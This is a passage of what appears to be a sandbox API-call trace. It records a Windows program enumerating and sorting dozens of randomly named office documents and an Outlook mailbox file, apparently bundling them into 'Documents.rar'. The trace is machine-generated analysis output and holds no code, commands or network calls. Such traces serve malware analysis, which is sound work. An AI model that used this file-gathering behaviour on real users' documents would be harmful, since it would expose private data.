lpFindFileData=0x1c3270) returned 0 [0053.724] GetLastError () returned 0x12 [0053.724] FindClose (in: hFindFile=0x330ac0 | out: hFindFile=0x330ac0) returned 1 [0053.724] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b0f20 | out: hHeap=0x2e0000) returned 1 [0053.724] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0 [0053.724] GetLastError () returned 0x12 [0053.724] FindClose (in: hFindFile=0x330a00 | out: hFindFile=0x330a00) returned 1 [0053.725] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3aeef0 | out: hHeap=0x2e0000) returned 1 [0053.725] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="xwucnZa1H0T.xlsx", cchCount2=-1) returned 1 [0053.725] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x22) returned 0x219fa00 [0053.725] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="YR5cgi5pBZBxCXpLKz.docx", cchCount2=-1) returned 1 [0053.725] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3ab890 [0053.725] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="yudTBCftS3KtXZdN.pptx", cchCount2=-1) returned 1 [0053.725] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2c) returned 0x3ab8d0 [0053.725] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="zbK0RkNWW_QYl4NDka.xlsx", cchCount2=-1) returned 1 [0053.725] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3ab910 [0053.725] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.725] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="ZHKgPcRuClqfpQx70d.xlsx", cchCount2=-1) returned 1 [0053.914] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3ab950 [0053.914] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.914] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="zqdJ P9hDbwBTPl.pptx", cchCount2=-1) returned 1 [0053.914] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2a) returned 0x3ab990 [0053.914] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.914] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Zrs5Ud.odt", cchCount2=-1) returned 1 [0053.914] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x16) returned 0x3977c0 [0053.914] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0 [0053.914] GetLastError () returned 0x12 [0053.914] FindClose (in: hFindFile=0x3309a0 | out: hFindFile=0x3309a0) returned 1 [0053.914] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a84e0 | out: hHeap=0x2e0000) returned 1 [0053.914] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.914] GetLastError () returned 0x12 [0053.914] SetLastError (dwErrCode=0x12) [0053.914] GetWindowTextW (in: hWnd=0x10278, lpString=0x1c48e0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.914] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0053.914] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1c3490, nMaxCount=2560 | out: lpString="83 files found") returned 14 [0053.914] SetWindowTextW (hWnd=0x1027e, lpString="97 files found") returned 1 [0053.915] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0053.915] GetWindowTextW (in: hWnd=0x10280, lpString=0x1c3490, nMaxCount=2560 | out: lpString="") returned 0 [0053.915] GetTickCount () returned 0xa644fe [0053.915] PeekMessageW (in: lpMsg=0x1c4c80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1c4c80) returned 0 [0053.915] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.915] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x60) returned 0x3a0c30 [0053.915] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77ae0000 [0053.915] GetProcAddress (hModule=0x77ae0000, lpProcName="CompareStringOrdinal") returned 0x77afd720 [0053.915] CompareStringOrdinal (lpString1="Zrs5Ud.odt", cchCount1=-1, lpString2="zqdJ P9hDbwBTPl.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.915] CompareStringOrdinal (lpString1="Zrs5Ud.odt", cchCount1=-1, lpString2="OKr5u -WV3PR.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.915] CompareStringOrdinal (lpString1="ZHKgPcRuClqfpQx70d.xlsx", cchCount1=-1, lpString2="zbK0RkNWW_QYl4NDka.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.915] CompareStringOrdinal (lpString1="ZHKgPcRuClqfpQx70d.xlsx", cchCount1=-1, lpString2="ohVGFnet7R0TYcogm.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.915] CompareStringOrdinal (lpString1="yudTBCftS3KtXZdN.pptx", cchCount1=-1, lpString2="YR5cgi5pBZBxCXpLKz.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.915] CompareStringOrdinal (lpString1="yudTBCftS3KtXZdN.pptx", cchCount1=-1, lpString2="OhMb-UaJPoxHiI.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.915] CompareStringOrdinal (lpString1="xwucnZa1H0T.xlsx", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\SwMu.rtf", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.915] CompareStringOrdinal (lpString1="xwucnZa1H0T.xlsx", cchCount1=-1, lpString2="oAWd.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.915] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PHjFMjnQ02ATkGOZl.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.915] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount1=-1, lpString2="N8uU1e.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.915] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\MoqtBms5meoe1w.rtf", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\fcVw7y.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.915] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\MoqtBms5meoe1w.rtf", cchCount1=-1, lpString2="N5ZN.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\2J0TC8BES4f8Vy_7 a7O.csv", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\2J0TC8BES4f8Vy_7 a7O.csv", cchCount1=-1, lpString2="N-1n4D-yiI1zNCjze.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\NnHAm7cjtqLnMEvQK_S.xlsx", cchCount1=-1, lpString2="XRS5ksD\\jRXwpLVqeVbMwn-9J\\VpyteSPe2.ppt", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\NnHAm7cjtqLnMEvQK_S.xlsx", cchCount1=-1, lpString2="My Videos", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount1=-1, lpString2="XRS5ksD\\jRXwpLVqeVbMwn-9J\\8BCPb3BzgmrIOA5.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount1=-1, lpString2="My Pictures", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\T4drjs69aH-eO2f3M.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J", cchCount1=-1, lpString2="My Music", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\Ey3s.xlsx", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\Cyhav4m7LPhUY.odt", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\Ey3s.xlsx", cchCount1=-1, lpString2="mevC_E6.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\4fPI cdQ5b.csv", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\4bPCYUxUkyRXz1a.odt", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\4fPI cdQ5b.csv", cchCount1=-1, lpString2="M53FxPpcT\\s4EDs60 8.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b\\jBnkdFwHfylWaZ6YaRt.ods", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b\\jBnkdFwHfylWaZ6YaRt.ods", cchCount1=-1, lpString2="M53FxPpcT\\oGJkVukoMxIO6MpIrH.xls", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\0L7s8edhd_6mnq.ppt", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\0L7s8edhd_6mnq.ppt", cchCount1=-1, lpString2="M53FxPpcT\\FCaj7Z UR1.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\hoT7s0jqF34TpSdFkEG.ppt", cchCount1=-1, lpString2="XRS5ksD\\8quW\\geTVB4WtFHycydi mP.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\hoT7s0jqF34TpSdFkEG.ppt", cchCount1=-1, lpString2="M53FxPpcT\\1ue2Dui.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\DmJHZllsIDAO 6.csv", cchCount1=-1, lpString2="XRS5ksD\\8quW\\bwEoB.ods", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\DmJHZllsIDAO 6.csv", cchCount1=-1, lpString2="M53FxPpcT\\-GriIsafw.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\2d1Kv.xlsx", cchCount1=-1, lpString2="XRS5ksD\\8quW", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\2d1Kv.xlsx", cchCount1=-1, lpString2="M53FxPpcT", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD", cchCount1=-1, lpString2="WPnyp7euOOTod.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="XRS5ksD", cchCount1=-1, lpString2="M-At.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="wnB9v0ottRO9k3_.pptx", cchCount1=-1, lpString2="wIOu8U.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="wnB9v0ottRO9k3_.pptx", cchCount1=-1, lpString2="LUsVMCA2kX5.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="TM7LU.pptx", cchCount1=-1, lpString2="t8SaG24LSbJT7XFl.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="TM7LU.pptx", cchCount1=-1, lpString2="L4AvX7khKXUu5.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="s_UnG.docx", cchCount1=-1, lpString2="sZysAGTn.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="s_UnG.docx", cchCount1=-1, lpString2="KZD3FfQJWWhay.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="slFg55xQ.pptx", cchCount1=-1, lpString2="s6aMY83d27.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="slFg55xQ.pptx", cchCount1=-1, lpString2="kSD3eNYHYfeDhhgpl4.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="Rr-L433.pptx", cchCount1=-1, lpString2="rONkvDPUqOyiM9A qv.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="Rr-L433.pptx", cchCount1=-1, lpString2="K3zCHl_.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="QVNqG4sHjJKiemivuPP.docx", cchCount1=-1, lpString2="qdf-_fT\\nwePxLPwZrM _B2.ppt", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="QVNqG4sHjJKiemivuPP.docx", cchCount1=-1, lpString2="jWTOiGMc8-CGVj37-J.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="qdf-_fT", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="Jrdm wCY_KpB5kAazb.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="PQcpfPJA3.pptx", cchCount1=-1, lpString2="PonYvH9js.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="PQcpfPJA3.pptx", cchCount1=-1, lpString2="IdJZzMH4BMOKYzj.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="Pkijc OVe1YF8QnT.xlsx", cchCount1=-1, lpString2="payrmo-.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="Pkijc OVe1YF8QnT.xlsx", cchCount1=-1, lpString2="HaxwmHj 0CtV7r4.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="Outlook Files\\asdfasdf@rrrrv.com.pst", cchCount1=-1, lpString2="Outlook Files", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="Outlook Files\\asdfasdf@rrrrv.com.pst", cchCount1=-1, lpString2="GIwIhnYq\\gJxsA3QDXPNzu_.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="Zrs5Ud.odt", cchCount1=-1, lpString2="ZHKgPcRuClqfpQx70d.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="Zrs5Ud.odt", cchCount1=-1, lpString2="GIwIhnYq\\4aTOLAatL.rtf", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.916] CompareStringOrdinal (lpString1="OKr5u -WV3PR.xlsx", cchCount1=-1, lpString2="zqdJ P9hDbwBTPl.pptx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.916] CompareStringOrdinal (lpString1="zqdJ P9hDbwBTPl.pptx", cchCount1=-1, lpString2="GIwIhnYq\\4aTOLAatL.rtf", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="yudTBCftS3KtXZdN.pptx", cchCount1=-1, lpString2="xwucnZa1H0T.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="yudTBCftS3KtXZdN.pptx", cchCount1=-1, lpString2="GIwIhnYq\\01ty5ZVjiFX.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="OhMb-UaJPoxHiI.pptx", cchCount1=-1, lpString2="YR5cgi5pBZBxCXpLKz.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="YR5cgi5pBZBxCXpLKz.docx", cchCount1=-1, lpString2="GIwIhnYq\\01ty5ZVjiFX.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\MoqtBms5meoe1w.rtf", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PJuyGmzhd Ku-a_pm.pps", cchCount1=-1, lpString2="GIwIhnYq", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="N8uU1e.xlsx", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PHjFMjnQ02ATkGOZl.pps", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\PHjFMjnQ02ATkGOZl.pps", cchCount1=-1, lpString2="GIwIhnYq", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\2J0TC8BES4f8Vy_7 a7O.csv", cchCount1=-1, lpString2="XRS5ksD\\NnHAm7cjtqLnMEvQK_S.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\2J0TC8BES4f8Vy_7 a7O.csv", cchCount1=-1, lpString2="G8MmJscBgVAAB6EEG8d0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="N-1n4D-yiI1zNCjze.pptx", cchCount1=-1, lpString2="XRS5ksD\\tiCKnWYQXORSFs05KwkK", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\tiCKnWYQXORSFs05KwkK", cchCount1=-1, lpString2="G8MmJscBgVAAB6EEG8d0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount1=-1, lpString2="XRS5ksD\\jRXwpLVqeVbMwn-9J", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", cchCount1=-1, lpString2="F_g z.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="My Pictures", cchCount1=-1, lpString2="XRS5ksD\\jRXwpLVqeVbMwn-9J\\8BCPb3BzgmrIOA5.csv", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\jRXwpLVqeVbMwn-9J\\8BCPb3BzgmrIOA5.csv", cchCount1=-1, lpString2="F_g z.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\Ey3s.xlsx", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\4fPI cdQ5b.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\Ey3s.xlsx", cchCount1=-1, lpString2="f7H1LR6Kr4.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="mevC_E6.docx", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\Cyhav4m7LPhUY.odt", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\Cyhav4m7LPhUY.odt", cchCount1=-1, lpString2="f7H1LR6Kr4.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b\\jBnkdFwHfylWaZ6YaRt.ods", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\0L7s8edhd_6mnq.ppt", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b\\jBnkdFwHfylWaZ6YaRt.ods", cchCount1=-1, lpString2="F-YPFV_qYj4bfRfXw9yB.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="M53FxPpcT\\oGJkVukoMxIO6MpIrH.xls", cchCount1=-1, lpString2="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b", cchCount1=-1, lpString2="F-YPFV_qYj4bfRfXw9yB.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\hoT7s0jqF34TpSdFkEG.ppt", cchCount1=-1, lpString2="XRS5ksD\\8quW\\DmJHZllsIDAO 6.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\hoT7s0jqF34TpSdFkEG.ppt", cchCount1=-1, lpString2="e8 DbP8IuWCbGEcy.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="M53FxPpcT\\1ue2Dui.csv", cchCount1=-1, lpString2="XRS5ksD\\8quW\\geTVB4WtFHycydi mP.pptx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\geTVB4WtFHycydi mP.pptx", cchCount1=-1, lpString2="e8 DbP8IuWCbGEcy.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\2d1Kv.xlsx", cchCount1=-1, lpString2="XRS5ksD", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\8quW\\2d1Kv.xlsx", cchCount1=-1, lpString2="dPdybr639pwn.odp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="M53FxPpcT", cchCount1=-1, lpString2="XRS5ksD\\8quW", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="XRS5ksD\\8quW", cchCount1=-1, lpString2="dPdybr639pwn.odp", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="wnB9v0ottRO9k3_.pptx", cchCount1=-1, lpString2="TM7LU.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="wnB9v0ottRO9k3_.pptx", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="LUsVMCA2kX5.xlsx", cchCount1=-1, lpString2="wIOu8U.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="wIOu8U.xlsx", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="s_UnG.docx", cchCount1=-1, lpString2="slFg55xQ.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="s_UnG.docx", cchCount1=-1, lpString2="Da5qX9dUi.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="KZD3FfQJWWhay.docx", cchCount1=-1, lpString2="sZysAGTn.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="sZysAGTn.xlsx", cchCount1=-1, lpString2="Da5qX9dUi.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="Rr-L433.pptx", cchCount1=-1, lpString2="QVNqG4sHjJKiemivuPP.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="Rr-L433.pptx", cchCount1=-1, lpString2="C8sP.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="K3zCHl_.xlsx", cchCount1=-1, lpString2="rONkvDPUqOyiM9A qv.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="rONkvDPUqOyiM9A qv.xlsx", cchCount1=-1, lpString2="C8sP.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="PQcpfPJA3.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="qdf-_fT\\JqbhJrWJOhGgC.doc", cchCount1=-1, lpString2="buu1yiRA_xVu8tVc\\hLAWY-nuLL.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.917] CompareStringOrdinal (lpString1="Jrdm wCY_KpB5kAazb.docx", cchCount1=-1, lpString2="qdf-_fT", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.917] CompareStringOrdinal (lpString1="qdf-_fT", cchCount1=-1, lpString2="buu1yiRA_xVu8tVc\\hLAWY-nuLL.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="Pkijc OVe1YF8QnT.xlsx", cchCount1=-1, lpString2="Outlook Files\\asdfasdf@rrrrv.com.pst", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="Pkijc OVe1YF8QnT.xlsx", cchCount1=-1, lpString2="buu1yiRA_xVu8tVc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="HaxwmHj 0CtV7r4.docx", cchCount1=-1, lpString2="payrmo-.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0053.918] CompareStringOrdinal (lpString1="payrmo-.docx", cchCount1=-1, lpString2="buu1yiRA_xVu8tVc", cchCount2=-1, bIgnoreCase=1) returned 3 [0053.918] CompareStringOrdinal (lpString1="Zrs5Ud.odt", 